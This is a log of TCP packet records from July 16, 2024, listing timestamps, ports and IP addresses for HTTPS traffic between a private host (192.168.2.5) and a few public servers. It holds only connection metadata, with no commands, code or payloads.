Jul 16, 2024 13:07:22.899022102 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.900499105 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.900521040 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.900580883 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.900587082 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.900635958 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.904351950 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.904375076 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.904443026 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.904448986 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.904504061 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.907207012 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.907234907 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.907269001 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.907274008 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.907313108 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.907762051 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.907773972 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.911072969 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.911096096 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.911142111 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.911147118 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.911181927 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.911201954 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.911839008 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.911858082 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.911895990 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.911900043 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.911921978 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.911957026 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.913901091 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.913919926 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.913974047 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.913980007 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.914027929 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.914932966 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.914952040 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.915004015 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.915009975 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.915342093 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.916692019 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.916708946 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.916760921 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.916765928 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.916804075 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.917674065 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.917694092 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.917748928 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.917752981 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.918092966 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.918469906 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.918489933 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.918520927 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.918524981 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.918555975 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.918574095 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.919383049 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.919400930 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.919465065 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.919470072 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.919507980 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.919657946 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.919677019 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.919709921 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.919715881 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.919754028 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.919768095 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.920523882 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.920542955 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.920607090 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.920613050 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.920654058 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.940500021 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.940504074 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976521969 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976547003 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976619005 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.976629019 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976666927 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.976701975 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976722002 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976753950 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.976758003 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.976799965 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.976826906 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977003098 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977025986 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977075100 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977080107 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977116108 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977266073 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977284908 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977319002 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977322102 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977354050 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977360964 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977596045 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977618933 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977650881 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977654934 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977679014 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977696896 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977881908 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977901936 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977936983 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977942944 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.977968931 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.977988005 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.978213072 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.978233099 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.978281021 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.978286982 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.978318930 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.978449106 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.978467941 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.978502035 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.978507042 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.978534937 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.978553057 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.004266024 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.004286051 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.004300117 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.004348993 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.004359961 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.004405022 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.006315947 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.006337881 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.006355047 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.006407976 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.006479025 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.006515980 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.006541014 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063102007 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063127041 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063177109 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063191891 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063219070 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063237906 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063329935 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063354969 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063384056 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063389063 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063426018 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063443899 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063755989 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063775063 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063818932 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063822985 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063857079 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.063941956 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063961029 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.063999891 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064004898 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064023018 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064100981 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064229965 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064249039 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064280987 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064285994 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064311981 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064330101 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064429045 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064448118 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064476967 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064485073 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064507961 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064526081 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064718962 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064738035 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064774036 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064779043 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064802885 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064825058 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064908028 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064925909 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064955950 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.064960003 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.064989090 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.065001965 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.089531898 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.089551926 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.089601994 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.089617014 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.089654922 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.089672089 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.091991901 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.092008114 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.092048883 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.092056990 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.092089891 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.092108011 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.095005035 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.095092058 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.095089912 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.095151901 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.095345020 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.095387936 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.095413923 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.095803022 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149383068 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149405003 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149465084 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149473906 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149487019 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149509907 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149517059 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149549007 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149554968 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149600983 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149658918 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149679899 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149709940 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149714947 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.149763107 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.149770021 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150058031 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150075912 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150118113 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150121927 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150146961 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150165081 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150445938 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150464058 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150494099 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150499105 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150526047 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150540113 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150718927 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150739908 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150782108 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150785923 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150810957 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150839090 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150937080 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150957108 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.150988102 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.150991917 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.151019096 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.151038885 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.151228905 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.151248932 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.151313066 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.151313066 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.151319027 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.151364088 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.175539017 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.175590038 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.175628901 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.175643921 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.175673008 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.175693035 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.175971031 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.176007986 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.176034927 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.176043034 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.176116943 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.176121950 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.176160097 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.176204920 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.176471949 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.176496029 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.176511049 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.176690102 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.181920052 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.181945086 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.182198048 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.182483912 CEST	50011	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.182495117 CEST	443	50011	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.187396049 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:23.187612057 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:23.188052893 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:23.197766066 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.197820902 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.197982073 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.198544025 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:23.198569059 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:23.210503101 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.210544109 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.215640068 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.215688944 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.215779066 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.216609001 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.216634989 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.238440037 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238466978 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238529921 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.238544941 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238585949 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238599062 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.238603115 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238636017 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238641024 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.238647938 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238699913 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.238909960 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238929033 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238969088 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.238972902 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.238996983 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239012003 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239082098 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239100933 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239145994 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239151001 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239177942 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239193916 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239370108 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239387989 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239415884 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239422083 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239451885 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239485025 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239509106 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239512920 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239528894 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239562035 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.239567041 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.239610910 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.240329027 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.240343094 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.807250023 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.807601929 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.807653904 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.808026075 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.808521986 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.808521986 CEST	50013	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:23.808562994 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.808633089 CEST	443	50013	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:23.853225946 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.853781939 CEST	50012	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:23.853809118 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.854989052 CEST	443	50012	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:23.855434895 CEST	50012	443	192.168.2.5	13.107.246.42
